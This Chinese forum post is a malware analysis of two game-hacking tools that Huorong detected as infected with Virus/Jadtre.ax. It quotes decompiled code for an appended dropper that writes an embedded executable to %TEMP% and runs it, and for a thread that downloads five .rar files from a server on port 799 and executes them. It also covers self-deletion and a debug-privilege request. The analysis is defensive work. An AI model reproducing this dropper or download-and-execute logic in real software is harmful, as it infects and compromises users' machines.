火绒爆毒
请忽略前面的病毒报告
下的ctf-skill里头的装着一些CTF的代码的md
研究jpg释放exe的自己玩的小木马
被火绒直接扫到了里头无Jadtre.ax
第一个样本信息
分析对象:
CxdecDynamicHashCollector.exe
原始包中同名文件 SHA256:
B80948C1AAE775ACD3F549B180473333463DF14D22586C06AA46C921502BB9B0
火绒检测信息:
病毒名称:Virus/Jadtre.ax
病毒 ID:7BED125EA168C5EF
病毒路径:H:\病毒\CxdecDynamicHashCollector.exe
操作类型:修改
操作结果:已处理,清除恶意代码
二、初步结论
反汇编和伪 C 结果显示,样本中存在一段可疑的附加代码,位置在 0x45E000 附近。
这段代码首先构造出文件名 BUmTpj.exe,接着调用 GetTempPathA 获取系统临时目录,并拼接出如下路径:
%TEMP%\BUmTpj.exe
随后它使用 CreateFileA 创建该文件,并从自身内嵌区域写出 0x3E00 字节,最后调用 WinExec 执行该文件。
这条行为链符合文件感染 / 附加 dropper 的典型特征,也与 Virus/Jadtre.ax 的检测结论相吻合。
三、伪 C 代码证据
IDA 伪 C 中可以看到完整的释放和执行逻辑:
// CxdecDynamicHashCollector.exe.c:45769
int start()
{
...
strcpy(v21, "BUmTpj.exe"); // 构造落地文件名
...
strcpy((char *)v20, "Kernel32.dll"); // 手工加载 / 解析 Kernel32.dll
...
v28(260, v19); // GetTempPathA,获取临时目录
v30(v19, v21); // lstrcatA,拼接成 %TEMP%\BUmTpj.exe
result = v32(
v19, // 文件路径:%TEMP%\BUmTpj.exe
-1073741824, // GENERIC_READ | GENERIC_WRITE
0,
0,
2, // CREATE_ALWAYS
128, // FILE_ATTRIBUTE_NORMAL
0
); // CreateFileA,创建落地文件
v16 = result;
if (result != -1)
{
...
v31(
v16, // 文件句柄
v17, // 自身内嵌 PE 数据起始位置
15872, // 写入长度:0x3E00
v25,
0
); // WriteFile,从自身写出 payload
v34(v16); // CloseHandle
return v33(v19, 5); // WinExec,执行 %TEMP%\BUmTpj.exe
}
return result;
}
对应关键行:
45817: strcpy(v21, "BUmTpj.exe");
45894: v28(260, v19); // GetTempPathA
45895: v30(v19, v21); // lstrcatA
45896: result = v32(...); // CreateFileA
45908: v31(v16, v17, 15872, ...); // WriteFile,0x3E00 字节
45910: v34(v16); // CloseHandle
初步结论:
该样本在 0x45E000 处存在额外 RWX 段。该段代码首先手工解析
Kernel32.dll 中的 GetTempPathA、CreateFileA、WriteFile、WinExec 等 API,然后构造文件名 BUmTpj.exe,获取临时目录并创建 %TEMP%\BUmTpj.exe
随后从自身内嵌 MZ/PE 数据区域写出 0x3E00 字节,最后调用 WinExec 执行该文件。
因此,这不是单个 API 调用导致的误报,而是一条完整的 payload 释放与执行链
如果是正常 hook 工具,常见逻辑应该是:
加载自己的 DLL
注入目标游戏进程
安装 hook
收集
输出结果
这更像感染器/dropper,而不是正常业务呀
问:ASPack壳会影响程序报毒吗?
答:ASPack 正常壳行为一般是,先解压自身代码到内存,修复导入表,跳转到原始入口点 OEP
结论:
ASPack会增加误报可能,因为Jadtre.ax这种病毒通常喜欢附加在原始exe中
但不能合理解释“落地并执行 BUmTpj.exe”这条完整释放链。但不影响目前对附加恶意逻辑的判断方向
继续干CxdecExtractorLoader.exe
可疑 RWX 段
120571: 00468000 ; Section 5. (virtual address 00068000)
120572: 00468000 ; Virtual size : 00005000 ( 20480.)
120573: 00468000 ; Section size in file : 00004200 ( 16896.)
120574: 00468000 ; Offset to raw data for section: 00065800
120575: 00468000 ; Flags E0000020: Text Executable Readable Writable
120580: 00468000 ; Segment permissions: Read/Write/Execute
120591: 00468000 public start
120592: 00468000 start proc near
这说明 0x468000 处存在一个 RWX 段,并且 IDA 识别出了 start()
构造落地文件名 wVVYAP.exe
120626: 00468023 mov dword ptr [ebp+var_48], 59565677h
120627: 0046802A mov dword ptr [ebp+var_48+4], 652E5041h
120628: 00468031 mov dword ptr [ebp+var_48+8], 6578h
按 x86 小端序还原
59565677h -> 77 56 56 59 -> wVVY
652E5041h -> 41 50 2E 65 -> AP.e
6578h -> 78 65 -> xe
伪 C 也直接对应:47023: strcpy(v21, "wVVYAP.exe");
不废话了,还是一样的
落地并执行 payload
120792: 004681EE lea eax, [ebp+var_16C]
120794: 004681F5 push 104h
120795: 004681FA call [ebp+var_20] ; GetTempPathA
120796: 004681FD lea eax, [ebp+var_48]
120800: 00468208 call [ebp+var_18] ; lstrcatA
120807: 00468217 push 0C0000000h
120810: 00468223 call [ebp+var_10] ; CreateFileA
120831: 0046824B push 3E00h
120834: 00468252 call [ebp+var_14] ; WriteFile
120837: 00468255 push esi
120838: 00468256 call [ebp+var_8] ; CloseHandle
120839: 00468259 push 5
120842: 00468262 call [ebp+var_C] ; WinExec
伪 C 对应:
47100: v28(260, v19); // GetTempPathA
47101: v30(v19, v21); // lstrcatA
47102: result = v32(v19, -1073741824, 0, 0, 2, 128, 0); // CreateFileA
47114: v31(v16, v17, 15872, v25, 0); // WriteFile,0x3E00
47116: v34(v16); // CloseHandle
47117: return v33(v19, 5); // WinExec
内嵌 PE 证据
120818: 00468232 cmp dword ptr ds:(locret_468269 - 468269h)[eax], 905A4Dh
120831: 0046824B push 3E00h
120857: 0046826C dword_46826C dd 0E62E7C2Eh, 905A4D73h, 300h, 400h, 0FFFF00h, 0B800h
120870: 004682BD db 0CDh, 21h, 54h
120871: 004682C0 aHisProgramCann db 'his program cannot be run in DOS mode.',0Dh,0Dh,0Ah
虚拟机实测
环境网易UU虚拟机
典型的Jadtre.ax报错特征
temp目录生成了
wVVYAP与逆向出来的结果一致

并且附带在temp目录中遗留了一些未知文件???
原来是这个随机数函数创建的
953 int sub_40185B()
960 GetSystemTimeAsFileTime(&SystemTimeAsFileTime);
962 srand(LOWORD(SystemTimeAsFileTime.dwLowDateTime));
964 v2 = rand() << 16;
965 srand(SystemTimeAsFileTime.dwLowDateTime & 0xFFFF0000);
966 return v2 | rand();

实锤,病毒感染了文件
感谢bfloat16 提供的脱去ASPack的xvlk.exe得到了
wVVYAP.unp.exe
那么我们继续滴干活
核心证据
是这个下载线程
531 DWORD __stdcall StartAddress(LPVOID lpThreadParameter)
...
545 lpString = (LPCSTR)dword_404748;
...
559 v1(CmdLine, aS8xExe, Buffer, v6);
560 v1(v8, aHttpSDSS, v2, dword_404948, dword_404708, lpString);
561 if ( j_URLDownloadToFileA(0, v8, CmdLine, 0, 0) )
562 break;
563 sub_401000(CmdLine);
564 WinExec(CmdLine, 5u);
asm如下
137 mov ebx, offset aHttpSDSS ; "http://%s:%d/%s/%s"
167 push offset aS8xExe ; "%s%.8X.exe"
177 call esi ; wsprintfA
187 call j_URLDownloadToFileA
153 call ds:WinExec
wsprintfA(CmdLine, "%s%.8X.exe", Buffer, sub_40185B());
他会构造 URL
http://%s:%d/%s/%s,然后把下载文件保存为随机8位.exe
所以这个就是我们见到的奇怪的exe
下载成功后执行:
150 push 5
152 push eax ; lpCmdLine
153 call ds:WinExec
还有自删除脚本:
3665 aS8xBat db '%s%.8x.bat',0
3667 aDelfileDelSIfE db ':DELFILE',0Dh,0Ah
3668 db 'del "%s"',0Dh,0Ah
3669 db 'if exist "%s" goto :DELFILE',0Dh,0Ah
3670 db 'del "%s"',0Dh,0Ah,0
意思是生成 .bat,循环删除自身或指定文件
申请调试权限
238 call ds:OpenProcessToken
254 call ds:AdjustTokenPrivileges
3663 Name db 'SeDebugPrivilege',0
还会找 WinRAR:
1835 SHGetSpecialFolderPathA(0, pszPath, 38, 0);
1837 wsprintfA(ExistingFileName, "%s%s", pszPath, "\\WinRAR\\Rar.exe");
1840 result = CopyFileA(ExistingFileName, ::FileName, 0);
复制 WinRAR\Rar.exe 到临时随机 exe 名,做伪装或辅助传播
证据
560 v1(v8, aHttpSDSS, v2, dword_404948, dword_404708, lpString);
561 if ( j_URLDownloadToFileA(0, v8, CmdLine, 0, 0) )
...
564 WinExec(CmdLine, 5u);
目前能确定的下载 URL 结构是:
http://<server>:799/cj/k1.rar
http://<server>:799/cj/k2.rar
http://<server>:799/cj/k3.rar
http://<server>:799/cj/k4.rar
http://<server>:799/cj/k5.rar
其中
aHttpSDSS = "http://%s:%d/%s/%s"
dword_404948 = 799
dword_404708 = "cj/"
dword_404748 = "k1.rar", "k2.rar", "k3.rar", "k4.rar", "k5.rar"
即
端口:799
路径:cj/
文件列表:
k1.rar
k2.rar
k3.rar
k4.rar
k5.rar
也就是说它会尝试从某个服务器的 799 端口下载 cj/ 目录下的这 5 个 rar 文件,下载到本地随机 .exe 后执行。
现在卡住的是 <server> 字段。对应的是解码后的 String 区域,当前不是普通 ASCII 域名,像是还有一层编码或是被当作 IP/表数据处理:
String 区域偏移:0x404688
调用位置:StartAddress 中 v2 = &String
URL 模板参数:%s
剩下的要动态分析了,静态我干不动了
至此也差不多证据也很充足了
奇怪的是一些云沙箱好像查不出来这个有问题的?
应该有反调反沙箱
带壳的程序不一定是病毒,也不否认任何人的劳动成果
仅客观网络安全分析这种病毒特性!
说实话
赛博花柳难防啊,这玩意小红车也有,galgame的exe都会被染上
无意间就会跑到你的exe上了,但已经不是原本的她了wwwwww
更像是赛博下蛋寄生体😳
